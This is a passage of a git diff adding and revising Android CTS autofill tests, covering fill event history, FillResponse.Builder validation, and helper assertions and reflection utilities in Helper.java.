+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values present at the datasets
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ mActivity.onPassword((v) -> v.setText("whatever"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ FillEventHistory.Event event = events.get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event.getDatasetId()).isNull();
+ assertThat(event.getClientState()).isNull();
+ assertThat(event.getSelectedDatasetIds()).isEmpty();
+ assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event.getChangedFields()).isEmpty();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ final Map<AutofillId, Set<String>> manuallyEnteredFields =
+ event.getManuallyEnteredField();
+ assertThat(manuallyEnteredFields).isNotNull();
+ assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+ assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
+ assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user did not selected any dataset, but
+ * the user manually entered values that match what was provided by the service on different
+ * datasets.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "NotUsedPassword")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "NotUserUsername")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id3")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset3"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values present at the datasets
+ mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+ mActivity.onPassword((v) -> v.setText("whatever"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+
+ final FillEventHistory.Event event = events.get(0);
+ assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event.getDatasetId()).isNull();
+ assertThat(event.getClientState()).isNull();
+ assertThat(event.getSelectedDatasetIds()).isEmpty();
+ assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
+ assertThat(event.getChangedFields()).isEmpty();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ final Map<AutofillId, Set<String>> manuallyEnteredFields =
+ event.getManuallyEnteredField();
+ assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+ assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
+ assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
new file mode 100644
index 0000000..6215c42
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class FillResponseTest {
+
+ private final AutofillId mAutofillId = new AutofillId(42);
+ private final FillResponse.Builder mBuilder = new FillResponse.Builder();
+ private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
+ private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
+ private final Bundle mClientState = new Bundle();
+ private final Dataset mDataset = new Dataset.Builder()
+ .setValue(mAutofillId, AutofillValue.forText("forty-two"))
+ .build();
+ private final long mDisableDuration = 666;
+ @Mock private RemoteViews mPresentation;
+ @Mock private RemoteViews mHeader;
+ @Mock private RemoteViews mFooter;
+ @Mock private IntentSender mIntentSender;
+
+ @Test
+ public void testBuilder_setAuthentication_invalid() {
+ // null ids
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
+ // empty ids
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
+ mPresentation));
+ // null intent sender
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(mIds, null, mPresentation));
+ // null presentation
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
+ }
+
+ @Test
+ public void testBuilder_setAuthentication_valid() {
+ new FillResponse.Builder().setAuthentication(mIds, null, null);
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ }
+
+ @Test
+ public void testBuilder_setAuthentication_illegalState() {
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+ mIntentSender, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+ mIntentSender, mPresentation));
+ }
+
+ @Test
+ public void testBuilder_setHeaderOrFooterInvalid() {
+ assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+ assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+ }
+
+ @Test
+ public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+ FillResponse.Builder builder =
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+ assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+ }
+
+ @Test
+ public void testBuilder_setFlag_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
+ }
+
+ @Test
+ public void testBuilder_setFlag_valid() {
+ mBuilder.setFlags(0);
+ mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
+ mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_invalid() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_valid() {
+ mBuilder.disableAutofill(mDisableDuration);
+ mBuilder.disableAutofill(Long.MAX_VALUE);
+ }
+
+ @Test
+ public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
+ // No method can be called after disableAutofill()
+ mBuilder.disableAutofill(mDisableDuration);
+ assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+ assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setClientState(mClientState));
+
+ // And vice-versa...
+ final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
+ assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
+ assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder3 =
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder4 =
+ new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
+ assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder5 =
+ new FillResponse.Builder().setClientState(mClientState);
+ assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
+ }
+
+ @Test
+ public void testBuilder_setFieldClassificationIds_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+ final AutofillId[] oneTooMany =
+ new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+ for (int i = 0; i < oneTooMany.length; i++) {
+ oneTooMany[i] = new AutofillId(i);
+ }
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setFieldClassificationIds(oneTooMany));
+ }
+
+ @Test
+ public void testBuilder_setFieldClassificationIds_valid() {
+ mBuilder.setFieldClassificationIds(mAutofillId);
+ }
+
+ @Test
+ public void testBuild_invalid() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+
+ @Test
+ public void testBuild_valid() {
+ // authentication only
+ assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
+ .build()).isNotNull();
+ // save info only
+ assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
+ // dataset only
+ assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
+ // disable autofill only
+ assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
+ .isNotNull();
+ // fill detection only
+ assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
+ .isNotNull();
+ // client state only
+ assertThat(new FillResponse.Builder().setClientState(mClientState).build())
+ .isNotNull();
+ }
+
+ @Test
+ public void testBuilder_build_headerOrFooterWithoutDatasets() {
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setHeader(mHeader).build());
+ assertThrows(IllegalStateException.class,
+ () -> new FillResponse.Builder().setFooter(mFooter).build());
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
+ .isNotNull();
+
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
+ assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
+ assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index 33321c7..29af4a2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -83,7 +83,7 @@
getSystemService(AutofillManager.class).cancel();
}
- private EditText getCell(int row, int column) {
+ EditText getCell(int row, int column) {
return mCells[row - 1][column - 1];
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index c1a70f0..008e10c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -20,6 +20,11 @@
import static android.autofillservice.cts.UiBot.PORTRAIT;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,7 +35,11 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.service.autofill.FieldClassification;
+import android.service.autofill.FieldClassification.Match;
import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
@@ -45,7 +54,10 @@
import com.android.compatibility.common.util.SystemUtil;
+import java.lang.reflect.Field;
import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
import java.util.function.Function;
/**
@@ -63,6 +75,15 @@
static final String ID_PASSWORD = "password";
static final String ID_LOGIN = "login";
static final String ID_OUTPUT = "output";
+ static final String ID_STATIC_TEXT = "static_text";
+
+ public static final String NULL_DATASET_ID = null;
+
+ /**
+ * Can be used in cases where the autofill values is required by irrelevant (like adding a
+ * value to an authenticated dataset).
+ */
+ public static final String UNUSED_AUTOFILL_VALUE = null;
private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
@@ -97,6 +118,16 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for showing the autofill dataset picker UI.
+ *
+ * <p>The value is usually higher than {@link #UI_TIMEOUT_MS} because the performance of the
+ * dataset picker UI can be affect by external factors in some low-level devices.
+ *
+ * <p>Typically used by {@link UiBot}.
+ */
+ static final int UI_DATASET_PICKER_TIMEOUT_MS = 4000;
+
+ /**
* Timeout (in milliseconds) for an activity to be brought out to top.
*/
static final int ACTIVITY_RESURRECTION_MS = 5000;
@@ -133,21 +164,20 @@
return id.equals(getHtmlName(node));
};
+ private static final NodeFilter HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+ return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+ };
+
private static final NodeFilter TEXT_FILTER = (node, id) -> {
return id.equals(node.getText());
};
- private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
- // inside HtmlInfo, but Chromium 61 does not implement that.
+ private static final NodeFilter WEBVIEW_FORM_FILTER = (node, id) -> {
final String className = node.getClassName();
- final String formName;
- if (className.equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
- formName = getAttributeValue(htmlInfo, "name");
- } else {
- formName = className;
- }
+ if (!className.equals("android.webkit.WebView")) return false;
+
+ final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+ final String formName = getAttributeValue(htmlInfo, "name");
return id.equals(formName);
};
@@ -390,6 +420,14 @@
}
/**
+ * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+ * not found.
+ */
+ static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+ return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+ }
+
+ /**
* Gets the {@code name} attribute of a node representing an HTML input tag.
*/
@Nullable
@@ -448,7 +486,6 @@
/**
* Asserts the contents of a text-based node that is also auto-fillable.
- *
*/
static void assertTextOnly(ViewNode node, String expectedValue) {
assertText(node, expectedValue, false);
@@ -456,7 +493,6 @@
/**
* Asserts the contents of a text-based node that is also auto-fillable.
- *
*/
static void assertTextAndValue(ViewNode node, String expectedValue) {
assertText(node, expectedValue, true);
@@ -483,15 +519,16 @@
}
private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
- assertWithMessage("wrong text on %s", node).that(node.getText().toString())
+ assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
.isEqualTo(expectedValue);
final AutofillValue value = node.getAutofillValue();
+ final AutofillId id = node.getAutofillId();
if (isAutofillable) {
- assertWithMessage("null auto-fill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong auto-fill value on %s", node)
+ assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong auto-fill value on %s", id)
.that(value.getTextValue().toString()).isEqualTo(expectedValue);
} else {
- assertWithMessage("node %s should not have AutofillValue", node).that(value).isNull();
+ assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
}
}
@@ -500,9 +537,10 @@
*/
static ViewNode assertTextValue(ViewNode node, String expectedText) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isText()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getTextValue().toString())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
.isEqualTo(expectedText);
return node;
}
@@ -512,9 +550,10 @@
*/
static ViewNode assertListValue(ViewNode node, int expectedIndex) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isList()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getListValue())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
.isEqualTo(expectedIndex);
return node;
}
@@ -524,9 +563,10 @@
*/
static void assertToggleValue(ViewNode node, boolean expectedToggle) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isToggle()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getToggleValue())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
.isEqualTo(expectedToggle);
}
@@ -855,6 +895,50 @@
return InstrumentationRegistry.getInstrumentation().getContext();
}
+ private static Field getField(Class<?> clazz, String fieldName) {
+ final Field[] fields = clazz.getDeclaredFields();
+ final StringBuilder fieldNames = new StringBuilder();
+ for (Field field : fields) {
+ fieldNames.append(field.getName()).append(" ");
+ field.setAccessible(true);
+ if (field.getName().equals(fieldName)) {
+ return field;
+ }
+ }
+ throw new IllegalArgumentException(
+ "no field " + fieldName + " on " + clazz.getName() + ": " + fieldNames);
+ }
+
+ /**
+ * Uses reflection to get a field from an object.
+ */
+ static <T> T getField(Object object, String fieldName) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ @SuppressWarnings("unchecked")
+ final T value = (T) field.get(object);
+ return value;
+ } catch (Exception e) {
+ throw new IllegalArgumentException(
+ "error getting field " + fieldName + " from object" + object, e);
+ }
+ }
+
+ /**
+ * Uses reflection to set a field in an object.
+ */
+ static void setField(Object object, String fieldName, Object value) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ field.set(object, value);
+ } catch (Exception e) {
+ throw new IllegalArgumentException("error setting field " + fieldName + " on object "
+ + object, e);
+ }
+ }
+
/**
* Cleans up the autofill state; should be called before pretty much any test.
*/
@@ -907,15 +991,212 @@
/**
* Finds a {@link WebView} node given its expected form name.
*/
- public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
- return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+ public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+ return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
+ }
+
+ private static void assertClientState(Object container, Bundle clientState,
+ String key, String value) {
+ assertWithMessage("'%s' should have client state", container)
+ .that(clientState).isNotNull();
+ assertWithMessage("Wrong number of client state extras on '%s'", container)
+ .that(clientState.keySet().size()).isEqualTo(1);
+ assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
+ .that(clientState.getString(key)).isEqualTo(value);
}
/**
- * Finds a {@link WebView} node given its expected form name.
+ * Asserts the content of a {@link FillEventHistory#getClientState()}.
+ *
+ * @param history event to be asserted
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
*/
- public static ViewNode findWebViewNode(ViewNode node, String formName) {
- return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+ @SuppressWarnings("javadoc")
+ public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
+ @NonNull String key, @NonNull String value) {
+ assertThat(history).isNotNull();
+ @SuppressWarnings("deprecation")
+ final Bundle clientState = history.getClientState();
+ assertClientState(history, clientState, key, value);
+ }
+
+ /**
+ * Asserts the {@link FillEventHistory#getClientState()} is not set.
+ *
+ * @param history event to be asserted
+ */
+ @SuppressWarnings("javadoc")
+ public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
+ assertThat(history).isNotNull();
+ @SuppressWarnings("deprecation")
+ final Bundle clientState = history.getClientState();
+ assertWithMessage("History '%s' should not have client state", history)
+ .that(clientState).isNull();
+ }
+
+ /**
+ * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
+ *
+ * @param event event to be asserted
+ * @param eventType expected type
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
+ * have client state)
+ * @param value the only value expected in the client state bundle (or {@code null} if it
+ * shouldn't have client state)
+ */
+ // TODO(b/67867469): document detected args
+ private static void assertFillEvent(@NonNull FillEventHistory.Event event,
+ int eventType, @Nullable String datasetId,
+ @Nullable String key, @Nullable String value,
+ @Nullable AutofillId[] detectedAutofillIds, @Nullable String[] detectedRemoteIds,
+ @Nullable int[] detectedScores) {
+ assertThat(event).isNotNull();
+ assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
+ if (datasetId == null) {
+ assertWithMessage("Event %s should not have dataset id", event)
+ .that(event.getDatasetId()).isNull();
+ } else {
+ assertWithMessage("Wrong dataset id for %s", event)
+ .that(event.getDatasetId()).isEqualTo(datasetId);
+ }
+ final Bundle clientState = event.getClientState();
+ if (key == null) {
+ assertWithMessage("Event '%s' should not have client state", event)
+ .that(clientState).isNull();
+ } else {
+ assertClientState(event, clientState, key, value);
+ }
+ assertWithMessage("Event '%s' should not have selected datasets", event)
+ .that(event.getSelectedDatasetIds()).isEmpty();
+ assertWithMessage("Event '%s' should not have ignored datasets", event)
+ .that(event.getIgnoredDatasetIds()).isEmpty();
+ assertWithMessage("Event '%s' should not have changed fields", event)
+ .that(event.getChangedFields()).isEmpty();
+ assertWithMessage("Event '%s' should not have manually-entered fields", event)
+ .that(event.getManuallyEnteredField()).isEmpty();
+ final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
+ if (detectedAutofillIds == null) {
+ assertThat(detectedFields).isEmpty();
+ } else {
+ assertThat(detectedFields).hasSize(detectedAutofillIds.length);
+ int i = 0;
+ for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
+ assertWithMessage("Wrong field id at %s", i).that(entry.getKey())
+ .isEqualTo(detectedAutofillIds[i]);
+ final Match topMatch = entry.getValue().getTopMatch();
+ assertWithMessage("Wrong remote id at %s", i).that(topMatch.getRemoteId())
+ .isEqualTo(detectedRemoteIds[i]);
+ assertWithMessage("Wrong score at %s", i).that(topMatch.getScore())
+ .isEqualTo(detectedScores[i]);
+ i++;
+ }
+ }
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ */
+ public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+ @Nullable String datasetId) {
+ assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null, null, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @Nullable String key, @Nullable String value) {
+ assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null, null, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+ @NonNull String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null, null, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ */
+ public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+ @NonNull String datasetId) {
+ assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null, null, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
+ * event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForDatasetAuthenticationSelected(
+ @NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null,
+ null, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForAuthenticationSelected(
+ @NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null, null,
+ null);
+ }
+
+ // TODO(b/67867469): document
+ public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
+ @NonNull AutofillId fieldId, @NonNull String remoteId, int score) {
+ assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
